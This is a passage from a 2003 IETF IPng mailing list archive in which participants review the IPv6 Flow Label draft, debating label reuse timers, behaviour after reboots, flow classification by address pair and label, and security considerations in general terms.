probably shouldn't be). But maybe some guidance. The existing wording
seems a bit incomplete and the issues here seem more complex.

> > >    A source node MUST keep track of the Flow Label values it is
> > >    currently using or has recently used.
> > 
> > Mumble. the above comes across as a restrictive requirement rather
> > than focusing on the key requirement to fulfill.

> Yes, we can replace MUST by "needs to".

ok. But that alone doesn't fix the issue. Just saying it "needs to
keep track of" doesn't focus on the "why". I think the document would
be better off saying what fundamental principal an implementation
needs to be sure to not violate. In this case, it's not reusing the
same flow label too quickly, including across reboots. I agree that
mandating how an implementation does is beyond the scope of the
document.

Note: an implementation doesn't need to keep track of which flow IDs
it has recently used (as the current words say). It simply needs to
ensure that it doesn't reuse any that have been reused recently. There
is a subtle difference. I.e., one doesn't need to keep track of *each*
flow one has recently used. One can aggregate that information.

Here's a slightly less delta-ish proposal relative to the current
text:

   A source node MUST ensure that it does not reuse Flow Label values
   it is currently using or has recently used when creating new
   flows. Flow Label values previously used with a specific pair of
   source and destination addresses MUST NOT be assigned to new flows
   with the same address pair within 60 seconds of the termination of
   the previous flow. If the previous flow had a lifetime longer than
   the default 60 seconds, a quarantine period of at least the length
   of the lifetime MUST be observed before reusing that Flow Label.

Note: this last sentence seems hard to achieve. it suggests that if a
future flow establishment method uses longer lifetimes, the stack will
have to be retrofitted to figure out somehow not to reuse those flow
label values for the longer period. I suspect that future uses of the
flow label (i.e., the signalling partz) may well be implemented
separately from the base IP stack Flow Label support, and it may not
be possible for the signalling to ensure the quarantine behavior.

   The requirement of not reusing a Flow Label value for a new flow with
   the same pair of source and destination addresses extends across
   source node crashes and reboots.

Text OK up to here.

but, for the rest:

   To avoid accidental Flow Label value
   reuse, the source node SHOULD use a different initial value for Flow
   Label assignments after a reboot. The initial value could be randomly
   generated, or computed from a previous value stored in non-volatile
   memory.

I think the above text is not really good enough. It makes some
unstated assumptions about how things are implemented. It either needs
more text, or should just be deleted. I guess my attempt at
replacement wasn't successful.

> As noted, 60 seconds is a compromise. We looked at values anywhere between
> 10 and 600 seconds. There is no right answer, but 60 seems as good as
> we could get. (10 seemed too short for a slow TCP stream, and 600 seemed
> far too long, despite being the TCP timeout.)

> Wording suggestions?

Again, it seems like it should be at least as long as TCP timeouts. I
don't think you want the flow state to be reclaimed just because of
temporary network outages.

> > >    The requirement of not reusing a Flow Label value for a new flow with
> > >    the same pair of source and destination addresses extends across
> > >    source node crashes and reboots. To avoid accidental Flow Label value
> > >    reuse, the source node SHOULD use a different initial value for Flow
> > >    Label assignments after a reboot. The initial value could be randomly
> > >    generated, or computed from a previous value stored in non-volatile
> > >    memory.
> > 
> > Suggested rewording:
> > 
> >    A source node should not reuse a particular Flow Label for a
> >    different flow until it is sure that any flow-specific state on
> >    other nodes has timed out or been appropriately updated.  In
> >    particular, if a node reboots, it may lose track of which Flow
> >    Label values it has used recently, and pick the same
> >    ones. Implementations MUST ensure that they don't reuse Flow Labels
> >    too quickly. The problem here is analagous to picking initial
> >    sequence numbers when opening TCP connections after a
> >    restart. There are number of ways to avoid reuse. One approach is
> >    to have new Flow Label values be chosen in some well-defined order
> >    (e.g., sequentially, a pseudo-random sequence, etc.). Upon a system
> >    restart, the initial value could be randomly generated, or computed
> >    from a previous value stored in non-volatile memory.


> Again, we removed some such text in the recent simplification of
> the document. Do you really think we should start re-complicating?

The document should be absolutely clear on what the requirement is. It
also seems reasonable to provide some guidance on how to achieve the
requirement, though in a non-normative fashion. This is because folks
will wonder how one can implement the requirement if they have no
stable storage or a very small footprint. I think it was Rob who
pointed out a long while back that there were similarities here with
generating TCP initial sequence numbers across reboots. 

> > > 4.  Flow State Establishment Requirements
> > >
> > >    To enable flow-specific treatment, flow state needs to be established
> > >    on all or a subset of the IPv6 nodes on the path from the source to
> > >    the destination(s). The methods for the state establishment, as well
> > >    as the models for flow-specific treatment will be defined in separate
> > >    specifications.
> > >
> > >    To enable co-existence of different methods in IPv6 nodes, the
> > >    methods MUST meet the following basic requirements:
> > >
> > >    (1)  The method MUST provide the means for flow state clean-up from
> > >         the IPv6 nodes providing the flow-specific treatment. Signaling
> > >         based methods where the source node is involved are free to
> > >         specify flow state lifetimes longer than the default 60 seconds.
> > >
> > >    (2)  Flow state establishment methods MUST be able to recover from
> > >         the case where the requested flow state cannot be supported.
> > 
> > I'm not sure what purpose the above provides.  I guess its mostly
> > harmless, but it strikes me as being pretty obvious, and I wonder if
> > these are the only real issues to think about. I.e., is this section
> > complete?  If not, do we need it?

> It stops here, once again, to avoid getting into specific use cases. But
> we did feel these were necessary to avoid future flow-state mechanisms
> interfering with each other. Does that make sense?

I can live with the text.

> > > Security Considerations
> > >
> > >    The use of the Flow Label field enables flow classification also in
> > >    the presence of encryption of IPv6 payloads. This allows the
> > >    transport header values to remain confidential, which may lessen the
> > >    possibilities for some forms of traffic analysis. However, the
> > >    labeling of flows defined in this specification may reveal some
> > >    structure of communications otherwise concealed by transport mode
> > 
> > Seems like more could be said here. If use of the flow label allows
> > special treatment of traffic, aren't there possible theft of service
> > issues? Or DOS issues, if someone generates traffic trying to
> > overwhelm a particular flow? What about authorization? Can anyone set
> > up flows? Are there requirements or issues here that should be
> > mentioned in Section 4?  This section seems a bit incomplete.

> Since flow labels are not protected by IPSEC-AH, they can be forged.
> We should probably state this. However, since the flow is actually
> identified by the {srce, dest, label} triplet, the theft of service
> or DOS problem actually requires address spoofing as well as label
> spoofing (and is prevented by ingress filtering). We should probably say
> this.

My application, when running between the same pair of machines as
yours, might be able to steal bandwidth from your application. This
might be a real issue where one has proxies and other aggregating
devices talking to each other.

My basic point thought when reading the current text, however, was
that from the few words it wasn't clear that a whole lot of thought
had gone into any possible security issues. The writeup seems a bit
superficial.

Thomas
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sat Jan 11 13:46:04 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0BLk316020276;
	Sat, 11 Jan 2003 13:46:03 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0BLk3Do020275;
	Sat, 11 Jan 2003 13:46:03 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0BLk016020268
	for <ipng@sunroof.eng.sun.com>; Sat, 11 Jan 2003 13:46:00 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0BLj6gE024884
	for <ipng@sunroof.eng.sun.com>; Sat, 11 Jan 2003 13:45:06 -0800 (PST)
Received: from ncsmtp02.ogw.rr.com (ncsmtp02.ogw.rr.com [24.93.67.83])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA05581
	for <ipng@sunroof.eng.sun.com>; Sat, 11 Jan 2003 13:45:00 -0800 (PST)
Received: from mail5.nc.rr.com (fe5 [24.93.67.52])
	by ncsmtp02.ogw.rr.com (8.12.5/8.12.2) with ESMTP id h0BLh0up007606;
	Sat, 11 Jan 2003 16:43:00 -0500 (EST)
Received: from nc.rr.com ([24.162.252.243]) by mail5.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Sat, 11 Jan 2003 16:41:24 -0500
Message-ID: <3E208F50.40707@nc.rr.com>
Date: Sat, 11 Jan 2003 16:40:32 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: Me? Organized??
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Thomas Narten <narten@us.ibm.com>
CC: Brian E Carpenter <brian@hursley.ibm.com>, jarno.rajahalme@nokia.com,
   ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
References: <200301101636.h0AGaxc09763@rotala.raleigh.ibm.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



Thomas Narten wrote:
> We may be more in agreement than appears. I agree that usage scenarios
> should be left out. What I want to be sure about though is that router
> implementors have a clear understanding of what they need to
> implement, in order to be able to support flows once specific usages
> are defined. (Or, please correct me if this is this not a goal here.)
> 
> I.e., folks doing hardware today want to know what they are supposed
> to do with the Flow Label. They don't want to find themselves later
> down the road saying "oops" our hardware can't support that because we
> didn't know that's how flows were defined.
> 
> It may well be that all that needs to be said is that a flow is
> defined by the three tuple, and that implementations need to classify
> based on the tuple. What is done to packets that belong to a
> particular flow is future work. But the definition of how the
> classification is to be done seems important to nail down now. IMO,
> the current wording about this could be more clear. But if hardware
> folk feel like the current words are sufficiently clear on this, I'm
> OK too.

I would like to see text in this document that explicitly states
that a flow is identified as <SA,DA,FL>.  That is override any
confusion caused by Appendix A of 2460 that says that a flow is
<SA,FL>.

Brian

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sat Jan 11 20:48:29 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0C4mT16020742;
	Sat, 11 Jan 2003 20:48:29 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0C4mTSr020741;
	Sat, 11 Jan 2003 20:48:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0C4mP16020734
	for <ipng@sunroof.eng.sun.com>; Sat, 11 Jan 2003 20:48:25 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0C4mX4w016884
	for <ipng@sunroof.eng.sun.com>; Sat, 11 Jan 2003 20:48:33 -0800 (PST)
Received: from coconut.itojun.org (coconut.itojun.org [219.101.47.130])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA16481
	for <ipng@sunroof.eng.sun.com>; Sat, 11 Jan 2003 21:48:27 -0700 (MST)
Received: from itojun.org (localhost [127.0.0.1])
	by coconut.itojun.org (Postfix) with ESMTP
	id 4E6434B22; Sun, 12 Jan 2003 13:48:25 +0900 (JST)
To: ipng@sunroof.eng.sun.com
Cc: gilligan@cacheflow.com, sethomso@cisco.com, Jim.Bound@hp.com,
   Jack.McCann@hp.com
In-reply-to: Internet-Drafts's message of Fri, 20 Dec 2002 07:09:37 EST.  <200212201209.HAA23104@ietf.org> 
X-Template-Reply-To: itojun@itojun.org
X-Template-Return-Receipt-To: itojun@itojun.org
X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD  90 5F B4 60 79 54 16 E2
Subject: draft-ietf-ipngwg-rfc2553bis-10.txt 
From: itojun@iijlab.net
Date: Sun, 12 Jan 2003 13:48:25 +0900
Message-Id: <20030112044825.4E6434B22@coconut.itojun.org>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

	minor nit:
	NI_NUMERICSCOPE appears in the text (page 24) but not in section 7.

itojun
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 13 00:18:13 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0D8ID16023418;
	Mon, 13 Jan 2003 00:18:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0D8IDAl023417;
	Mon, 13 Jan 2003 00:18:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0D8I916023410
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 00:18:10 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0D8IH4w017793
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 00:18:17 -0800 (PST)
Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA28989
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 01:18:09 -0700 (MST)
From: jarno.rajahalme@nokia.com
Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0D8H8022263
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 10:17:08 +0200 (EET)
Received: from esebh003.NOE.Nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5fc3747ae8ac158f21083@esvir01nok.ntc.nokia.com>;
 Mon, 13 Jan 2003 10:18:03 +0200
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Mon, 13 Jan 2003 10:18:03 +0200
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Mon, 13 Jan 2003 10:18:02 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: RE: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
Date: Mon, 13 Jan 2003 10:18:01 +0200
Message-ID: <009CA59D1752DD448E07F8EB2F91175701FD01E3@esebe004.ntc.nokia.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
Thread-Index: AcK5uxaN6WC3cF9uSYuGXm+LooPgQABIJMbg
To: <bkhabs@nc.rr.com>, <narten@us.ibm.com>
Cc: <brian@hursley.ibm.com>, <ipng@sunroof.eng.sun.com>
X-OriginalArrivalTime: 13 Jan 2003 08:18:02.0628 (UTC) FILETIME=[4A8F6C40:01C2BADC]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0D8IA16023411
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian Haberman wrote:
> I would like to see text in this document that explicitly states
> that a flow is identified as <SA,DA,FL>.  That is override any
> confusion caused by Appendix A of 2460 that says that a flow is
> <SA,FL>.

So the sentence (below) in the current section 2 ("IPv6 Flow Label Specification") is not explicit enough?

"IPv6 nodes forwarding or receiving a labeled IPv6 packet can use
the Flow Label and Source and Destination Address fields to classify
the packet to a certain flow."

	Jarno

> -----Original Message-----
> From: ext Brian Haberman [mailto:bkhabs@nc.rr.com]
> Sent: Saturday, January 11, 2003 11:41 PM
> To: Thomas Narten
> Cc: Brian E Carpenter; Rajahalme Jarno (NRC/Helsinki);
> ipng@sunroof.eng.sun.com
> Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
> 
> 
> 
> 
> Thomas Narten wrote:
> > We may be more in agreement than appears. I agree that 
> usage scenarios
> > should be left out. What I want to be sure about though is 
> that router
> > implementors have a clear understanding of what they need to
> > implement, in order to be able to support flows once specific usages
> > are defined. (Or, please correct me if this is this not a 
> goal here.)
> > 
> > I.e., folks doing hardware today want to know what they are supposed
> > to do with the Flow Label. They don't want to find themselves later
> > down the road saying "oops" our hardware can't support that 
> because we
> > didn't know that's how flows were defined.
> > 
> > It may well be that all that needs to be said is that a flow is
> > defined by the three tuple, and that implementations need 
> to classify
> > based on the tuple. What is done to packets that belong to a
> > particular flow is future work. But the definition of how the
> > classification is to be done seems important to nail down now. IMO,
> > the current wording about this could be more clear. But if hardware
> > folk feel like the current words are sufficiently clear on this, I'm
> > OK too.
> 

> Brian
> 
> 

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 13 04:42:11 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0DCgB16024409;
	Mon, 13 Jan 2003 04:42:11 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0DCgBwe024408;
	Mon, 13 Jan 2003 04:42:11 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0DCg816024401
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 04:42:08 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0DCgH4w023579
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 04:42:17 -0800 (PST)
Received: from ncsmtp03.ogw.rr.com (ncsmtp03.ogw.rr.com [24.93.67.84])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA15383
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 04:42:11 -0800 (PST)
Received: from mail5.nc.rr.com (fe5 [24.93.67.52])
	by ncsmtp03.ogw.rr.com (8.12.5/8.12.2) with ESMTP id h0DCfIiZ001695;
	Mon, 13 Jan 2003 07:41:19 -0500 (EST)
Received: from nc.rr.com ([63.109.132.2]) by mail5.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Mon, 13 Jan 2003 07:40:34 -0500
Message-ID: <3E22B475.2080609@nc.rr.com>
Date: Mon, 13 Jan 2003 07:43:33 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: No Organization Here
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: jarno.rajahalme@nokia.com
CC: narten@us.ibm.com, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
References: <009CA59D1752DD448E07F8EB2F91175701FD01E3@esebe004.ntc.nokia.com>
In-Reply-To: <009CA59D1752DD448E07F8EB2F91175701FD01E3@esebe004.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Apologies, I missed that along the way.  That works for me.

Brian

jarno.rajahalme@nokia.com wrote:
> Brian Haberman wrote:
> 
>>I would like to see text in this document that explicitly states
>>that a flow is identified as <SA,DA,FL>.  That is override any
>>confusion caused by Appendix A of 2460 that says that a flow is
>><SA,FL>.
> 
> 
> So the sentence (below) in the current section 2 ("IPv6 Flow Label Specification") is not explicit enough?
> 
> "IPv6 nodes forwarding or receiving a labeled IPv6 packet can use
> the Flow Label and Source and Destination Address fields to classify
> the packet to a certain flow."
> 
> 	Jarno
> 
> 
>>-----Original Message-----
>>From: ext Brian Haberman [mailto:bkhabs@nc.rr.com]
>>Sent: Saturday, January 11, 2003 11:41 PM
>>To: Thomas Narten
>>Cc: Brian E Carpenter; Rajahalme Jarno (NRC/Helsinki);
>>ipng@sunroof.eng.sun.com
>>Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
>>
>>
>>
>>
>>Thomas Narten wrote:
>>
>>>We may be more in agreement than appears. I agree that 
>>
>>usage scenarios
>>
>>>should be left out. What I want to be sure about though is 
>>
>>that router
>>
>>>implementors have a clear understanding of what they need to
>>>implement, in order to be able to support flows once specific usages
>>>are defined. (Or, please correct me if this is this not a 
>>
>>goal here.)
>>
>>>I.e., folks doing hardware today want to know what they are supposed
>>>to do with the Flow Label. They don't want to find themselves later
>>>down the road saying "oops" our hardware can't support that 
>>
>>because we
>>
>>>didn't know that's how flows were defined.
>>>
>>>It may well be that all that needs to be said is that a flow is
>>>defined by the three tuple, and that implementations need 
>>
>>to classify
>>
>>>based on the tuple. What is done to packets that belong to a
>>>particular flow is future work. But the definition of how the
>>>classification is to be done seems important to nail down now. IMO,
>>>the current wording about this could be more clear. But if hardware
>>>folk feel like the current words are sufficiently clear on this, I'm
>>>OK too.
>>
> 
>>Brian
>>
>>
> 
> 


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 13 05:51:53 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0DDpr16024778;
	Mon, 13 Jan 2003 05:51:53 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0DDpqtj024777;
	Mon, 13 Jan 2003 05:51:52 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0DDpn16024770
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 05:51:49 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0DDpxgE028525
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 05:51:59 -0800 (PST)
Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA23703
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 05:51:52 -0800 (PST)
From: jarno.rajahalme@nokia.com
Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0DDrwt09590
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 15:53:58 +0200 (EET)
Received: from esebh001.NOE.Nokia.com (unverified) by esvir03nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5fc4a61374ac158f23076@esvir03nok.nokia.com>;
 Mon, 13 Jan 2003 15:51:51 +0200
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Mon, 13 Jan 2003 15:51:51 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: RE: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt 
Date: Mon, 13 Jan 2003 15:51:50 +0200
Message-ID: <009CA59D1752DD448E07F8EB2F91175701FD01E7@esebe004.ntc.nokia.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt 
Thread-Index: AcK4xpSuouUrNMW7QvaXuXvs268GxACHK7zw
To: <narten@us.ibm.com>, <brian@hursley.ibm.com>
Cc: <ipng@sunroof.eng.sun.com>
X-OriginalArrivalTime: 13 Jan 2003 13:51:51.0271 (UTC) FILETIME=[EC8FCF70:01C2BB0A]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0DDpo16024771
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Thomas Narten wrote:
> 
> Brian E Carpenter <brian@hursley.ibm.com> writes:
> 
> > Thomas Narten wrote:
> > > 
> > > I reviewed the revised document today. Speaking as an 
> individual, here
> > > is my reaction:
> > > 

Thomas, I'm happy to see a thorough review of the spec. Thanks.

> > > > Abstract
> > > >
> > > >    This document specifies the IPv6 Flow Label field, 
> the requirements
> > > >    for IPv6 source nodes labeling flows, and the 
> requirements for flow
> > > >    state establishment methods.
> > > 
> > > Note: what I would expect this draft to describe is:
> > > 
> > > 1) what arbitrary source nodes should do with the flow label.
> > > 2) what routers should do with the flow label.
> > > 
> > > The document appears to do 1), but 2) is omitted from the 
> document. Is
> > > this OK?  
> 

The intent has been to specify for routers what is needed in the absence of any flow state establishment method. It would be up to tem to define their router requirements.

> We may be more in agreement than appears. I agree that usage scenarios
> should be left out. What I want to be sure about though is that router
> implementors have a clear understanding of what they need to
> implement, in order to be able to support flows once specific usages
> are defined. (Or, please correct me if this is this not a goal here.)
> 

This is a goal, but to a limit. It is impossible to anticipate the needs of future FSEM specifications. We included requirements for classifiers targeting the RSVP Wildcard-Filter reservation style requirements still in the -03 version, but these "higher layer constructs" were to an effect obscuring the "simple flow" definition. 

> I.e., folks doing hardware today want to know what they are supposed
> to do with the Flow Label. They don't want to find themselves later
> down the road saying "oops" our hardware can't support that because we
> didn't know that's how flows were defined.
> 
> It may well be that all that needs to be said is that a flow is
> defined by the three tuple, and that implementations need to classify
> based on the tuple. What is done to packets that belong to a
> particular flow is future work. But the definition of how the
> classification is to be done seems important to nail down now. IMO,
> the current wording about this could be more clear. But if hardware
> folk feel like the current words are sufficiently clear on this, I'm
> OK too.
> 

I have suggested a clarification based on your text proposal below.

> My assumption is that this document is trying to say that classifiers
> need to map the three-tuple into a "flow".  Or am I wrong? Is the
> document not even wanting to go this far?
> 

The document states that flows are mapped from the three-tuple. The wording for this has evolved through the different draft versions. In -03 we also had the following two statements in the current section 4:

 "(1) A packet is classified unambiguously to a flow on the basis of
  the Flow Label, and the Source and Destination Address fields. The
  flow state establishment method MUST convey this classifying
  information to the IPv6 nodes that need to perform the classification.
  Usage of any additional header fields for flow classification is
  beyond the scope of this specification."

 "(2) The flow state establishment method MAY associate multiple Flow
  Label, Source Address, Destination Address triplets with the same
  flow state (e.g. an SCTP connection between nodes with multiple
  addresses, or a classifier with an address range, see the RSVP
  Wildcard-Filter example in section 4 above)."

When faced with the comment "document too complex" from the chairs in the last meeting, I reasoned that the (1) above is not adding anything that could not be deduced from the other text in the document, and the issue addressed in (2) was not absolutely necessary for this document, or at least it seemed to be too complex concept to process by the WG at this time. I do not know if the RSVP Wildcard-Filter style reservations will be really utilized in future, but if they are, it would be pity if the ASIC implementation would require replication of the classifiers for all different source addresses to support it.

> > > > 2.  IPv6 Flow Label Specification
> > > >

...

> > > 
> > > Actually, the entire paragraph might be better as:
> > > 
> > >     IPv6 flows are defined by the tuple of the 20-bit 
> Flow Label, the
> > >     IP source address, and the IP destination address in the IPv6
> > >     header. Packet classifiers use the tuple to identify 
> which flow a
> > >     particular packet belongs to.  Packets will be processed in a
> > >     flow-specific manner by those nodes that have special 
> processing
> > >     enabled for packets belonging to a particular flow.  
> A Flow Label
> > >     of zero indicates an unlabelled packet that is given 
> no special
> > >     treatment.  The nature of the specific treatment and 
> the methods
> > >     for the flow state establishment are beyond the scope of this
> > >     specification.
> 

I would not want to use the "flows are defined by" language above. There are many more aspects to the "flow definition" than the classifier. Also, the classifier might be more than one of the tuples (or triplets), even if not further specified in this document.

Also "that have special processing enabled" sound like it would be (only a) configuration option (on/off), while the processing depends also on the actual flow set-up.

So how about this:

"The 20-bit Flow Label field in the IPv6 header [IPv6] is used by a
 source to label packets of a flow. Packet classifiers use the triplet
 of Flow Label, Source Address, and Destination Address fields to
 identify which flow a particular packet belongs to. Packets are
 processed in a flow-specific manner by the nodes that have been set
 up with flow-specific state. A Flow Label of zero indicates an
 unlabelled packet that is given no special treatment. The nature of
 the specific treatment and the methods for the flow state
 establishment are out of scope for this specification."

> > Well, I think we want the SHOULD in there. We mean it.
> 
> Make the "SHOULD implement" a separate point from the definition
> itself then. And have it refer specifically (for hosts) that they
> SHOULD label outgoing packets. That is what I think we are aiming for.
> 

